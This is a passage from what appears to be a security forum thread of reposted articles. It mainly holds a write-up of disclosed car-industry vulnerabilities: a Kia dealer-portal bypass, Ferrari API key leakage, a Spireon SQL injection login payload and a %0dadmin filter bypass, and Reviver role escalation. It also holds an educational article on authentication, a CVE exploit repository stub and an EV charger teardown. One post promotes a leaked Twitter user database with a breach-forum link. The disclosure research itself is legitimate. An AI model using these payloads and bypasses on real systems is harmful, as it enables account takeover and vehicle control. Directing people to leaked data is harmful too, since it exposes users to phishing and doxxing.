Mercedes-Benz projects including the Mercedes Me Connect app which was used by customers to remotely connect to their vehicles. The internal documentation gave detailed instructions for employees to follow if they wanted to build an application for Mercedes-Benz themselves to talk to customer vehicles and the specific steps one would have to take to talk to customer vehicles. At this point, we reported the vulnerability, but got some pushback after a few days of waiting on an email response. The team seemed to misunderstand the impact, so they asked us to demonstrate further impact. We used our employee account to login to numerous applications which contained sensitive information and achieved remote code execution via exposed actuators, spring boot consoles, and dozens of sensitive internal applications used by Mercedes-Benz employees. One of these applications was the Mercedes-Benz Mattermost (basically Slack). We had permission to join any channel, including security channels, and could pose as a Mercedes-Benz employee who could ask whatever questions necessary for an actual attacker to elevate their privileges across the Benz infrastructure. To give an overview, we could access the following services: Multiple employee-only Githubs with sensitive information containing documentation and configuration files for multiple applications across the Mercedes-Benz infrastructure Spring boot actuators which lead to remote code execution, information disclosure, on sensitive employee and customer facing applications Jenkins instances AWS and cloud-computing control panels where we could request, manage, and access various internal systems XENTRY systems used to communicate with customer vehicles Internal OAuth and application-management related functionality for configuring and managing internal apps Hundreds of miscellaneous internal services (3) Full Vehicle Takeover on Kia via Deprecated Dealer Portal When we looked at Kia, we noticed how its vehicle enrollment process was different from its parent company Hyundai. We mapped out all of the domains and we came across the “kdelaer.com” domain where dealers are able to register for an account to activate Kia connect for customers who purchase vehicles. At this point, we found the domain “kiaconnect.kdealer.com” which allowed us to enroll an arbitrary VIN but required a valid session to work. While looking at the website’s main.js code, we observed the following authorization functionality for generating the token required to access the website functionality: validateSSOToken() { const e = this.geturlParam("token"), i = this.geturlParam("vin"); return this.postOffice({ token: e, vin: i }, "/prof/gbl/vsso", "POST", "preLogin").pipe(ye(this.processSuccessData), Nn(this.handleError)) } Since we didn’t have valid authorization credentials, we continued to search through the JavaScript file until finding the “prelogin” header. This header, when sent, allowed us to initiate enrollment for an arbitrary VIN number. Although we were able to bypass the authorization check for VIN ownership, the website continued throwing errors for an invalid session. To bypass this, we took a session token from “owners.kia.com” (the site used for customers to remotely connect to their vehicles) and appended it to our request to pair the VIN number to a customer account here: Something really interesting to note: for every Kia account that we queried, the server returned an associated profile with the email “daspike11@yahoo.com”. We’re not sure if this email address has access to the user account, but based on our understanding of the Kia website it appeared that the email address was connected to every account that we had searched. We’ve asked the Kia team for clarification but haven’t heard back on what exactly this is. Now that we had a valid vehicle initialization session, we could use the JSON returned in the HTTP response returned from pairing the customer’s account to continue the vehicle takeover. We would use the “prelogin” header once again to generate a dealer token (intended to be accessed by Kia dealers themselves) to pair any vehicle to the attacker’s customer account. Lastly, we can just head to the link to finish the activation and enrollment which you can see below here. The attacker will receive a link via email on their Kia customer account after the above dealer pairing process is completed. The activation portal below is the final step to pair the Kia vehicle to the attacker’s customer account. Lastly, after we’ve filled out the above form, it takes about 1-2 minutes for Kia Connect to fully activate and give full access to send lock, unlock, remote start, remote stop, locate, and (most interestingly) remotely access vehicle cameras! (4) Full Account Takeover on Ferrari and Arbitrary Account Creation allows Attacker to Access, Modify, and Delete All Customer Information and Access Administrative CMS Functionality to Manage Ferrari Websites When we began targeting Ferrari, we mapped out all domains under the publicly available domains like “ferrari.com” and browsed around to see what was accessible. One target we found was “api.ferrari.com”, a domain which offered both customer facing and internal APIs for Ferrari systems. Our goal was to get the highest level of access possible for this API. We analyzed the JavaScript present on several Ferrari subdomains that looked like they were for use by Ferrari dealers. These subdomains included `cms-dealer.ferrari.com`, `cms-new.ferrari.com` and `cms-dealer.test.ferrari.com`. One of the patterns we notice when testing web applications is poorly implemented single sign on functionality which does not restrict access to the underlying application. This was the case for the above subdomains. It was possible to extract the JavaScript present for these applications, allowing us to understand the backend API routes in use. When reverse engineering JavaScript bundles, it is important to check what constants have been defined for the application. Often these constants contain sensitive credentials or at the very least, tell you where the backend API is, that the application talks to. For this application, we noticed the following constants were set: const i = { production: !0, envName: "production", version: "0.0.0", build: "20221223T162641363Z", name: "ferrari.dws-preowned.backoffice", formattedName: "CMS SPINDOX", feBaseUrl: "https://{{domain}}.ferraridealers.com/", fePreownedBaseUrl: "https://{{domain}}.ferrari.com/", apiUrl: "https://api.ferrari.com/cms/dws/back-office/", apiKey: "REDACTED", s3Bucket: "ferrari-dws-preowned-pro", cdnBaseUrl: "https://cdn.ferrari.com/cms/dws/media/", thronAdvUrl: "https://ferrari-app-gestioneautousate.thron.com/?fromSAML#/ad/" } From the above constants we can understand that the base API URL is `https://api.ferrari.com/cms/dws/back-office/` and a potential API key for this API is `REDACTED`. Digging further into the JavaScript we can look for references to `apiUrl` which will inform us as to how this API is called and how the API key is being used. For example, the following JavaScript sets certain headers if the API URL is being called: })).url.startsWith(x.a.apiUrl) && !["/back-office/dealers", "/back-office/dealer-settings", "/back-office/locales", "/back-office/currencies", "/back-office/dealer-groups"].some(t => !!e.url.match(t)) && (e = (e = e.clone({ headers: e.headers.set("Authorization", "" + (s || void 0)) })).clone({ headers: e.headers.set("x-api-key", "" + a) })); All the elements needed for this discovery were conveniently tucked away in this JavaScript file. We knew what backend API to talk to and its routes, as well as the API key we needed to authenticate to the API. Within the JavaScript, we noticed an API call to `/cms/dws/back-office/auth/bo-users`. When requesting this API through Burp Suite, it leaked all of the users registered for the Ferrari Dealers application. Furthermore, it was possible to send a POST request to this endpoint to add ourselves as a super admin user. While impactful, we were still looking for a vulnerability that affected the broader Ferrari ecosystem and every end user. Spending more time deconstructing the JavaScript, we found some API calls were being made to `rest-connectors`: return t.prototype.getConnectors = function() { return this.httpClient.get("rest-connectors") }, t.prototype.getConnectorById = function(t) { return this.httpClient.get("rest-connectors/" + t) }, t.prototype.createConnector = function(t) { return this.httpClient.post("rest-connectors", t) }, t.prototype.updateConnector = function(t, e) { return this.httpClient.put("rest-connectors/" + t, e) }, t.prototype.deleteConnector = function(t) { return this.httpClient.delete("rest-connectors/" + t) }, t.prototype.getItems = function() { return this.httpClient.get("rest-connector-models") }, t.prototype.getItemById = function(t) { return this.httpClient.get("rest-connector-models/" + t) }, t.prototype.createItem = function(t) { return this.httpClient.post("rest-connector-models", t) }, t.prototype.updateItem = function(t, e) { return this.httpClient.put("rest-connector-models/" + t, e) }, t.prototype.deleteItem = function(t) { return this.httpClient.delete("rest-connector-models/" + t) }, t The following request unlocked the final piece in the puzzle. Sending the following request revealed a treasure trove of API credentials for Ferrari: : GET /cms/dws/back-office/rest-connector-models HTTP/1.1 To explain what this endpoint's purpose was: Ferrari had configured a number of backend APIs that could be communicated with by hitting specific paths. When hitting this API endpoint, it returned this list of API endpoints, hosts and authorization headers (in plain text). This information disclosure allowed us to query Ferrari’s production API to access the personal information of any Ferrari customer. In addition to being able to view these API endpoints, we could also register new rest connectors or modify existing ones. HTTP Request GET /core/api/v1/Users?email=ian@ian.sh HTTP/1.1 Host: fcd.services.ferrari.com HTTP Response HTTP/1.1 200 OK Content-type: application/json …"guid":"2d32922a-28c4-483e-8486-7c2222b7b59c","email":"ian@ian.sh","nickName":"ian@ian.sh","firstName":"Ian","lastName":"Carroll","birthdate":"1963-12-11T00:00:00"… The API key and production endpoints that were disclosed using the previous staging API key allowed an attacker to access, create, modify, and delete any production user account. It additionally allowed an attacker to query users via email address or nickname. Additionally, an attacker could POST to the “/core/api/v1/Users/:id/Roles” endpoint to edit their user roles, setting themselves to have super-user permissions or become a Ferrari owner. This vulnerability would allow an attacker to access, modify, and delete any Ferrari customer account with access to manage their vehicle profile. (5) SQL Injection and Regex Authorization Bypass on Spireon Systems allows Attacker to Access, Track, and Send Arbitrary Commands to 15 million Telematics systems and Additionally Fully Takeover Fleet Management Systems for Police Departments, Ambulance Services, Truckers, and Many Business Fleet Systems When identifying car-related targets to hack on, we found the company Spireon. In the early 90s and 2000s, there were a few companies like OnStar, Goldstar, and FleetLocate which were standalone devices which were put into vehicles to track and manage them. The devices have the capabilities to be tracked and receive arbitrary commands, e.g. locking the starter so the vehicle cannot start. Sometime in the past, Spireon had acquired many GPS Vehicle Tracking and Management Companies and put them under the Spireon parent company. We read through the Spireon marketing and saw that they claimed to have over 15 million connected vehicles. They offered services directly to customers and additionally many services through their subsidiary companies like OnStar. We decided to research them as, if an attacker were able to compromise the administration functionality for these devices and fleets, they would be able to perform actions against over 15 million vehicles with very interesting functionalities like sending a cities police officers a dispatch location, disabling vehicle starters, and accessing financial loan information for dealers. Our first target for this was very obvious: admin.spireon.com The website appeared to be a very out of date global administration portal for Spireon employees to authenticate and perform some sort of action. We attempted to identify interesting endpoints which were accessible without authorization, but kept getting redirected back to the login. Since the website was so old, we tried the trusted manual SQL injection payloads but were kicked out by a WAF that was installed on the system We switched to a much simpler payload: sending an apostrophe, seeing if we got an error, then sending two apostrophes and seeing if we did not get an error. This worked! The system appeared to be reacting to sending an odd versus even number of apostrophes. This indicated that our input in both the username and password field was being passed to a system which could likely be vulnerable to some sort of SQL injection attack. For the username field, we came up with a very simple payload: victim' # The above payload was designed to simply cut off the password check from the SQL query. We sent this HTTP request to Burp Suite’s intruder with a common username list and observed that we received various 301 redirects to “/dashboard” for the username “administrator” and “admin”. After manually sending the HTTP request using the admin username, we observed that we were authenticated into the Spireon administrator portal as an administrator user. At this point, we browsed around the application and saw many interesting endpoints. The functionality was designed to manage Spireon devices remotely. The administrator user had access to all Spireon devices, including those of OnStar, GoldStar, and FleetLocate. We could query these devices and retrieve the live location of whatever the devices were installed on, and additionally send arbitrary commands to these devices. There was additional functionality to overwrite the device configuration including what servers it reached out to download updated firmware. Using this portal, an attacker could create a malicious Spireon package, update the vehicle configuration to call out to the modified package, then download and install the modified Spireon software. At this point, an attacker could backdoor the Spireon device and run arbitrary commands against the device. Since these devices were very ubiquitous and were installed on things like tractors, golf carts, police cars, and ambulances, the impact of each device differed. For some, we could only access the live GPS location of the device, but for others we could disable the starter and send police and ambulance dispatch locations. We reported the vulnerability immediately, but during testing, we observed an HTTP 500 error which disclosed the API URL of the backend API endpoint that the “admin.spireon.com” service reached out to. Initially, we dismissed this as we assumed it was internal, but after circling back we observed that we could hit the endpoint and it would trigger an HTTP 403 forbidden error. Our goal now was seeing if we could find some sort of authorization bypass on the host and what endpoints were accessible. By bypassing the administrator UI, we could directly reach out to each device and have direct queries for vehicles and user accounts via the backend API calls. We fuzzed the host and eventually observed some weird behavior: By sending any string with “admin” or “dashboard”, the system would trigger an HTTP 403 forbidden response, but would return 404 if we didn’t include this string. As an example, if we attempted to load “/anything-admin-anything” we’d receive 403 forbidden, while if we attempted to load “/anything-anything” it would return a 404. We took the blacklisted strings, put them in a list, then attempted to enumerate the specific endpoints with fuzzing characters (%00 to %FF) stuck behind the first and last characters. During scanning, we saw that the following HTTP requests would return a 200 OK response: GET /%0dadmin GET /%0ddashboard Through Burp Suite, we sent the HTTP response to our browser and observed the response: it was a full administrative portal for the core Spireon app. We quickly set up a match and replace rule to modify GET /admin and GET /dashboard to the endpoints with the %0d prefix. After setting up this rule, we could browse to “/admin” or “/dashboard” and explore the website without having to perform any additional steps. We observed that there were dozens of endpoints which were used to query all connected vehicles, send arbitrary commands to connected vehicles, and view all customer tenant accounts, fleet accounts, and customer accounts. We had access to everything. At this point, a malicious actor could backdoor the 15 million devices, query what ownership information was associated with a specific VIN, retrieve the full user information for all customer accounts, and invite themselves to manage any fleet which was connected to the app. For our proof of concept, we invited ourselves to a random fleet account and saw that we received an invitation to administrate a US Police Department where we could track the entire police fleet. (6) Mass Assignment on Reviver allows an Attacker to Remotely Track and Overwrite the Virtual License Plates for All Reviver Customers, Track and Administrate Reviver Fleets, and Access, Modify, and Delete All User Information In October, 2022, California announced that it had legalized digital license plates. We researched this for a while and found that most, if not all of the digital license plates, were done through a company called Reviver. If someone wanted a digital license plate, they’d buy the virtual Reviver license plate which included a SIM card for remotely tracking and updating the license plate. Customers who uses Reviver could remotely update their license plates slogan, background, and additionally report if the car had been stolen via setting the plate tag to “STOLEN”. Since the license plate could be used to track vehicles, we were super interested in Reviver and began auditing the mobile app. We proxied the HTTP traffic and saw that all API functionality was done on the "pr-api.rplate.com" website. After creating a user account, our user account was assigned to a unique “company” JSON object which allowed us to add other sub-users to our account. The company JSON object was super interesting as we could update many of the JSON fields within the object. One of these fields was called “type” and was default set to “CONSUMER”. After noticing this, we dug through the app source code in hopes that we could find another value to set it to, but were unsuccessful. At this point, we took a step back and wondered if there was an actual website we could talk to versus proxying traffic through the mobile app. We looked online for a while before getting the idea to perform a reset password on our account which gave us a URL to navigate to. Once we opened the password reset URL, we observed that the website had tons of functionality including the ability to administer vehicles, fleets, and user accounts. This was super interesting as we now had a lot more API endpoints and functionality to access. Additionally, the JavaScript on the website appeared to have the names of the other roles that our user account could be (e.g. specialized names for user, moderator, admin, etc.) We queried the “CONSUMER” string in the JavaScript and saw that there were other roles that were defined in the JavaScript. After attempting to update our “role” parameter to the disclosed “CORPORATE” role, we refreshed out profile metadata, then saw that it was successful! We were able to change our roles to ones other than the default user account, opening the door to potential privilige escalation vulnerabilities. It appeared that, even though we had updated our account to the "CORPORATE" role, we were still receiving authorization vulnerabilities when logging into the website. We thought for a while until realizing that we could invite users to our modified account which had the elevated role, which may then grant the invited users the required permissions since they were invited via an intended way versus mass assigning an account to an elevated role. After inviting a new account, accepting the invitation, and logging into the account, we observed that we no longer received authorization errors and could access fleet management functionality. This meant that we could likely (1) mass assign our account to an even higher elevated role (e.g. admin), then (2) invite a user to our account which would be assigned the appropriate permissions. This perplexed us as there was likely some administration group which existed in the system but that we had not yet identified. We brute forced the “type” parameter using wordlists until we noticed that setting our group to the number “4” had updated our role to “REVIVER_ROLE”. It appeared that the roles were indexed to numbers, and we could simply run through the numbers 0-100 and find all the roles on the website. The “0” role was the string “REVIVER”, and after setting this on our account and re-inviting a new user, we logged into the website normally and observed that the UI was completely broken and we couldn’t click any buttons. From what we could guess, we had the administrator role but were accessing the account using the customer facing frontend website and not the appropriate administrator frontend website. We would have to find the endpoints used by administrators ourselves. Since our administrator account theoretically had elevated permissions, our first test was simply querying a user account and seeing if we could access someone else's data: this worked! We could take any of the normal API calls (viewing vehicle location, updating vehicle plates, adding new users to accounts) and perform the action using our super administrator account with full authorization. At this point, we reported the vulnerability and observed that it was patched in under 24 hours. An actual attacker could remotely update, track, or delete anyone’s REVIVER plate. We could additionally access any dealer (e.g. Mercedes-Benz dealerships will often package REVIVER plates) and update the default image used by the dealer when the newly purchased vehicle still had DEALER tags. The Reviver website also offered fleet management functionality which we had full access to. (7) Full Remote Vehicle Access and Full Account Takeover affecting Hyundai and Genesis This vulnerability was written up on Twitter and can be accessed on the following thread: (8) Full Remote Vehicle Access and Full Account Takeover affecting Honda, Nissan, Infiniti, Acura This vulnerability was written up on Twitter and can be accessed on the following thread: (9) Full Vehicle Takeover on Nissan via Mass Assignment This vulnerability was written up on Twitter and can be accessed on the following thread: Credits The following people contributed towards this project: Sam Curry (https://twitter.com/samwcyo) Neiko Rivera (https://twitter.com/_specters_) Brett Buerhaus (https://twitter.com/bbuerhaus) Maik Robert (https://twitter.com/xEHLE_) Ian Carroll (https://twitter.com/iangcarroll) Justin Rhinehart (https://twitter.com/sshell_) Shubham Shah (https://twitter.com/infosec_au) Special thanks to the following people who helped create this blog post: Ben Sadeghipour (https://twitter.com/nahamsec) Joseph Thacker (https://twitter.com/rez0__) Sursa: https://samcurry.net/web-hackers-vs-the-auto-industry/
      • 4
      • Upvote
      • Haha
  15. Twitter database leaks for free with 235,000,000 records. The database contains 235,000,000 unique records of Twitter users and their email addresses and will unfortunately lead to a lot of hacking, targeted phishing, and doxxing. This is one of the most significant leaks ever. BF: https://breached.vc/Thread-Twitter-DB-Scrape-Leak-200-Mill-Lines?highlight=twitter
      • 1
      • Upvote
  16. Research despre companie si alte companii care apartin aceluiasi grup si Google (e.g. inurl).
  17. Nu face mare lucru dar poate fi util in CTF-uri de exemplu sau in cazuri de dumb rootkits.
  18. Noroc, nu cred ca l-am vazut folosit niciunde, eu l-as ignora complet.
  19. Da, cred ca majoritatea problemelor din Windows vin de la porcarii de genul asta, scrise acum 30 de ani.
  20. James Chiappetta Oct 31 A Dive Into Web Application Authentication A closer look into Web Application Authentication and what it means at a basic level for consumers and businesses. By: James Chiappetta, with guest contributions from Jeremy Shulman Disclaimers: The opinions stated here are the authors’ own, not necessarily those of past, current, or future employers. The mentioning of books, tools, websites, and/or products/services are not formal endorsements and the authors have not taken any incentives to mention them. Recommendations are based on past experiences and not a reflection of future ones. Background Take a moment and ask yourself, 10 years ago, which applications did you use that you still use today? Now think about how you authenticated to those apps, was Multifactor Authentication (MFA) an option? In recent years, authentication implementations have matured, for example many companies have made MFA mandatory. We will take a look why some of these changes have occurred and at application authentication more broadly. It’s useful to understand where we are today, how we got here, and where we may be in 10 years. Web Authentication Authentication Explained First Things First Innovation is something that happens naturally and gradually for various problem/solution pairs. There are usually very passionate people on both ends of a problem. One end agitates the problem while the other end works to create or improve upon solutions. As this relates here, authentication is a vital function for nearly all consumer and business applications. To get to the heart of what authentication is, here is what we will we cover: What is authentication and how is it different from authorization? Why do we need multifactor authentication? How does “sign in with” work (hint: OAuth 2.0) and should you use it? What is Single Sign On (SSO)? What is Passwordless Authentication? What is API Authentication? Bonus: What are Deep Links? Let’s get to it! What is Authentication and how is it different from Authorization? Authentication vs Authorization — Simply put, Authentication is the process an application performs to verify an identity’s credentials are valid. If valid, the user or system will be moved onto the next step which is typically an authorization check. Authorization is distinctly different from authentication and is a process to determine if a valid identity has access to a specific resource. Typical Authentication Example — You must be thinking, well how does an application know who I am? Obviously, you would need to be registered with the application first. Here is a basic example: Let’s say you want to subscribe to a new online service that will send you a different jelly each month. You navigate to the website and select the “create a new account” option. You pick your username and then set a password. You will likely need to provide an email and prove ownership of it. There you have it, you now have a registered identity in the application and can further enter your personal information to receive your jelly each month. Passwords — These are secrets set for each unique identity of an application. The problem with passwords, and passcodes for that matter, is that they are set by humans and humans often will seek the path of least resistance. Think of a sticky note on your grandma’s monitor. Passwords often get reused across many applications, set so they are easier to remember, and stored in insecure locations. This is why a second factor in the authentication process has become commonplace (more on this next). Super Basic Web Authentication Flow with MFA Pro tip: Back to Authorization for a second. Authorization describes what access you have. So it’s important to remember that it’s not just “what you have access to” but also “what data you can leverage with the access”. Fetching a specific person’s name is different than being able to fetch every person’s name. Why do we need MFA? In 2012 and LinkedIn reported one of the largest data breaches of the time occurred. Nearly 6.5 million passwords that they knew about became compromised. About 4 years later they discovered another 100 million were actually compromised. This was one of many credential breaches that can be searched on Troy Hunt’s Have I Been Pwned (HIBP) database of hundreds of millions of records. Unfortunately, this is just a fraction of the billions of leaked credentials floating out there. This has translated to a rise in credential stuffing attacks, where a known set of credentials from a compromised service are used on a completely separate one. The industry is seeing double digit growth in these attacks each year. Companies and consumers are usually both on the losing end of these attacks. What is MFA? Multifactor Authentication (MFA) — Enter the obvious solution, Multifactor Authentication (MFA). MFA is a common technique to prevent attackers from gaining access to user accounts even if credentials (username+password) are known or guessed. The impact of antiquated password policies has been known for a while and NIST is helping catch things up with their 800–63B publication. The idea behind MFA is to use at least two different factors for authentication. The three common factors used for MFA: 1) something you know, like a passcode, in addition to your password 2) something you have, like a soft token (software on your phone) or hard token (USB key) 3) something you are, like a biometric (face, eye, finger, or speech). Current state of MFA — Back to 2012, there weren’t many companies actively considering implementing MFA. Yet, here we are 10 years later with near ubiquity around its adoption. We can partly attribute security breaches in widely used platforms like LinkedIn and games like Fortnite for this. That of course doesn’t mean the end users are enabling it. A simple Google search trend analysis would help illustrate interest in MFA over time. Source: Google Trends Challenges with MFA — We are in a far different spot because of the security events that have transpired over the past 10 years. Our guess is that many generations now know what MFA is and use it in some way today. MFA is here to stay for now and we will see it continue to evolve. A focus on a better end-user experience will be key to its increased adoption as other solutions like Passwordless mature. More on that later. That all said, with any technology, there are challenges. Here are a few with MFA to be aware of: Consumer Adoption — Despite the billions of brute force attacks happening each year, people still don’t think the risk/reward of enabling MFA makes sense. Phishing Scams/Smishing — There are nearly endless counts of phishing attempts happening each day. Attackers have kept up with advancements in security measures and still can convince users to provide their multifactor token. Obviously, never provide anyone with any authentication tokens or secrets. MFA Push Fatigue — Those using an authentication app that supports notifications for approving a login attempt are susceptible to this. It happens when an attacker has user credentials and they spam the user with MFA requests, in hopes they click approve to make the notifications go away. Device Compatibility — Not everyone has a smartphone and this means they can’t install an authentication app for soft tokens or MFA push notifications. This means SMS or a hard token are the only options which come with trade offs. There is a wonderful list of scenarios maintained by NIST and some implementation guidance by Okta for further reading. Pro tips: For the software developers and engineers potentially reading this: It’s easy to make something that should be simple, like authentication, complicated. Don’t make it complicated. Avoid adding any business logic in your Authentication flows. MFA bypasses based on a specific identity/username (think “testuser”) is a common mistake. Hardware tokens (something you have) remain one of the strongest multifactor solutions today but have a high operational overhead and can be lost. Pick where you want to use this based on risk. How does “Sign In With” Work? If you are reading this article, I would hazard a guess that you have seen “sign in with” on various websites. Medium’s Sign in with page Heck, even Medium has this feature. This is where you would use your already established identity with another application, such as Google, Facebook, Apple, or the like, to authenticate to another application. This is possible because of widely adopted industry standards like OAuth2 and OIDC which are used for authentication. It is worth noting that OAuth2 was purely designed as an authorization protocol and not authentication. These two terms are often confused. The kind folks in the OAuth2 community have done a fine job walking through this here. This sign in with capability is possible because you are authenticating once with your Google account and then establishing a trust relationship between Google and whatever the third party application is to allow access (authorized) to that application post-authentication. Super Basic “Sign In With” Flow Is it safe? — Generally, yes, it’s safe when implemented correctly, however there are a large quantity of threat scenarios to consider which unfortunately manifest in the real world (1) (2) (3). One of the biggest issues in these flows is the implicit trust that sign in providers have, meaning applications generally trust the data in Google/Facebook/Apple to be true and accurate. The implementation isn’t just the only thing to be concerned with but the permissions across the two systems is also important. The service you are looking to sign in to may request access to your personal data, so look out for what applications are requesting. You should also periodically review and prune based on usage. What is Single Sign On (SSO)? Hopefully you have read the previous section about “sign in with”. The concept is quite similar, but usually in practice Single Sign On (SSO) uses a different protocol, called SAML 2.0, to perform the authentication between the identity provider, idP, (Google in the previous section) and the service provider, SP, (third party application you want to access). SAML 2.0 is very similar in concept to OAuth 2.0 in that it requires an exchange of identity information between trusted parties. applications. If you want your users to have accounts on many different services, and selectively grant access to various applications, use OAuth (application focused). SSO is usually employed for business to business applications. This enables business users to maintain a single account and access many applications with it. There are quite large organizations that specialize in SSO as a product. One of the biggest is Okta. Super Basic SSO SAML Flow Pro Tip: Many businesses have decided to charge for SSO, despite it being an implementation of an industry standard. Feel free to peruse some known companies that do this at https://sso.tax/. What is Passwordless Authentication? The concept of “Passwordless” authentication is to use a non-password factor (see above in the MFA section for the list of common factors) as your primary factor for authentication instead of a password. In movies this is often a retinal scan, because it looks cool. In reality, there is Apple PassKey which is now accepted as a primary factor for consumers. This is indeed a strong way to ensure the requesting user owns the credentials being provided to the system. However, there are some drawbacks with this. Currently, there is a very high and difficult bar to implement passwordless authentication at scale. The cost benefit analysis tips towards those with lots of privileged access in organizations, similar to hard tokens. Furthermore, the most likely passwordless factor is biometric, which raises privacy, accuracy, data storage concerns. A human’s biometrics can’t be changed if compromised. Microsoft has a detailed write up on how their Passwordless implementation works, with pictures of course. The FIDO (Fast IDentity Online) Alliance is focused on helping with open authentication standards that reduce password based authentication. The FIDO2 standard incorporates the web authentication (WebAuthn) standard, which we have written about on this blog. Pro Tip: We think for consumers passwordless authentication is still over the horizon, though Microsoft is getting close. For business users, we think players in the space are getting close, but really for only specific and highly privileged users. What is API Authentication? Let’s first start with: What is an API — Back to the jelly of the month subscription application example again. Let’s assume that the jelly of the month service has a feature to enroll you into a jelly enthusiast weekly newsletter that is provided by a third party. In order to subscribe to the newsletter, the jelly website will pass your email address to an API (application programming interfaces) that the newsletter makes available. This API will validate the jelly of the month website using some form of authentication. Super Basic API Authentication Flow Amazon Web Services (AWS) is one of the most prolific examples of APIs we can think of. It is an immense collection of APIs that its customers can use, mainly through HTTP, which is core to the internet. These APIs are designed to be accessible to the public internet. While they may be open to the broader internet, they require an identity to access, unless a resource is explicitly made open, such as static images for a marketing website. OK, now onto API authentication… Basic Authentication — As indicated by its name, basic Authentication is basic. This means it’s a username and a password, that’s all. The username and password will be base64 encoded and added as an HTTP header for the server to decode and validate. Note: Encoding is NOT encryption. This is why TLS (HTTPS) is important. OAuth 2.0 Access Tokens — As mentioned earlier, OAuth is a standard protocol used for authorization but in the case of APIs, used in a specific way in the authentication flow of APIs. OAuth has what is known as access tokens, also known as JWT bearer tokens, which are provided by an OAuth Authorization server. There is a wonderful post by Nordic APIs on how this all works. These tokens authorize a relying party to act on behalf of those for whom the token is issued to. They are frequently used to access user profile information such as the user’s name and email address. Mutual TLS (mTLS) — mTLS allows for each party in a connection, the client and the server, to verify each others’ identities. This form of Authentication leverages public key cryptography and the TLS encryption protocol. Trust is acquired from known certificate authorities. This differs from TLS where only the server provides its identity for verification by the client. More on the differences here. Pro Tip: In practice you may see additional security controls placed on APIs, such as IP address or system based restrictions. This is not Authentication and should be treated as a secondary factor. Bonus: What are Deep Links? What happens when you try to access your email and you’re not logged in? You get redirected to the login page. After logging in, though, you are seamlessly redirected back to your email without having to manually navigate. How does this work? Enter deep links. Deep links — A service provider/relying party user experience implementation detail. They allow a user to be sent directly to a specific application and/or page post-Authentication. Deep links are not explicitly part of the Authentication specs we have discussed but all said specs have a means of supporting them via a pseudo-session state. In SAML2, this is the “RelayState” parameter. In OAuth2/OIDC, this is the “state” parameter. An identity provider or Authorization server will always send this value back to the service provider/relying party post-Authentication. Deep links are a type of link that sends users directly to an app instead of a website or a store. They are used to send users straight to specific in-app locations, saving users the time and energy locating a particular page themselves — significantly improving the user experience. Deep linking does this by specifying a custom URL scheme (iOS Universal Links) or an intent URL (on Android devices) that opens your app if it’s already installed. Deep links can also be set to direct users to specific events or pages, which could tie into campaigns that you may want to run. Pro tip: Deep Links and any Authentication flow for that matter can be fraught with security considerations that need to be accounted for. Issues such as open redirects, cross site request Forgeries, and clickjacking are serious concerns with Authentication. Takeaways Authentication is a simple process to validate a registered identity within an application. There are a lot of security implications with getting authentication wrong, which is why getting it right is so important. Authorization is not authentication. It is the process to confirm an authenticated identity has access to something. Passwords alone are no longer adequate to keep applications secure. MFA is here to stay for now and needs serious consideration by those companies who haven’t implemented it yet. For the strongest MFA today, use a hard token, but know that comes at a high management cost. There is a lot of behind the scenes magic that happens to make authentication as frictionless as possible. The use of “sign in with” and Single Sign On (SSO) are becoming more widely adopted, which is fine, but be sure you review the permissions and data of each application. We are eager for a phishing resistant and passwordless authentication solution, but there are a lot of challenges ahead to finding the right balance between cost and reward. Innovations that are happening today with FIDO2, Web Authn, and privacy standards are beginning to help. Even more complicated authentication work flows, like deep links, make it convenient for the end user to get to resources but can be vulnerable to many different issues. For the security practitioners reading, we recommend you find the time reviewing your company’s authentication implementations. Words of Wisdom Authentication isn’t something we simply can’t ignore. Despite the collective decades of experience implementing and securing Authentication for companies, we remain with a feeling of continued curiosity as it evolves over time. The only true wisdom is in knowing you know nothing. — Socrates Contributions and Thanks A special thanks to those who helped peer review and make this post as useful as it is: Marshall Hallenbeck, Keshav Malik, Abishek Patole, Evan Helbig, Byron Arnao, Sean McConnell, Luke Young, and Anand Vemuri. A special thanks to you, the reader. We hope you benefited from it in some way and we want everyone to be successful at this. While these posts aren’t a silver bullet, we hope they get you started. Please do follow our page if you enjoy this and our other posts. More to come! Sursa: https://betterappsec.com/a-medium-dive-into-web-application-authentication-342d1d002a61
      • 1
      • Upvote
  21. CVE-2022-33679 One day based on https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html Usage usage: CVE-2022-33079.py [-h] [-ts] [-debug] [-dc-ip ip address] target serverName Example Sursa: https://github.com/Bdenneu/CVE-2022-33679
  22. Reverse engineering an EV charger Published date:11.11.2022 We decided to look into one of the most prevalent chargers on Norwegian roads Security testing Pentesting Techniques Blog Written by: By Harrison Sand Security Researcher, mnemonic By Andreas Claesson Senior Security Consultant TL;DR This blog post walks through our efforts reverse engineering the Zaptec Pro charger, an electric vehicle charger found in many parking lots and apartment buildings around Norway. The post shows how we went about testing the device, including some of our trials and errors during the process. By analyzing the device’s firmware, and compiling a custom bootloader, we were able to root the device and dig into how it works. Although we found that security appears to have been considered at multiple steps along the way in developing the Zaptec Pro charger, the blog post also presents some potential improvement Introduction Electric vehicles have become quite common over the past few years. Here in Norway, they make up over half of all new car sales. The chargers that support EVs have effectively become critical infrastructure that we rely on for everyday life. At the same time, the publicly available information about how they work is limited. Out of curiosity we decided to purchase the Zaptec Pro. This model was intended for larger, networked installations like parking lots and apartment buildings. The Zaptec Pro was among the most prevalent chargers on Norwegian roads at the time this post was written. Device overview The charger is a surprisingly powerful device. It runs a full-fledged Debian-based operating system with Wi-Fi, 4G LTE, Bluetooth, and power-line (PLC) network connectivity. It wouldn’t be too far off to think of it as a Raspberry Pi on steroids, with some 230V relays. As an end user, Zaptec is probably just the logo you see on the black box you plug your car into. Behind the scenes however, Zaptec has a whole cloud ecosystem designed to switch those relays on and off, as well as bill you for electricity consumption. To use a public charger a customer will normally have to download an app. These tend to be released by parking garage companies and charging network operators. A customer will enter their payment details in the app, and select a charger to use. At this point the app will make a request up to the cloud, and an integration between the app’s backend and Zaptec is used to start a new charging session. Zaptec uses Azure IoT Hub to communicate with and control their devices. More on how this works is discussed below. Teardown The charger has two PCBs, stacked on top of one another and linked via a 40-pin connector. The bottom PCB contains most of the power related components, while the upper PCB houses the “smart” components. Taking a deeper look at the upper PCB, there are a few different components of interest: In green there’s the piezo buzzer and RGB indicator LED In blue there’s the RFID components Yellow is the 4G modem and antenna Orange is a QCA7005 Qualcomm chipset, used for network communication over power lines (PLC) Purple is a PIC24E microcontroller And in red from left right we have a 512 MB NAND flash memory chip, an ARM Cortex-A7 based microcontroller, and 512 MB of RAM Debug interfaces We had previously learned that the device was running Linux by connecting it to a Wi-Fi network and running a port scan. It had a 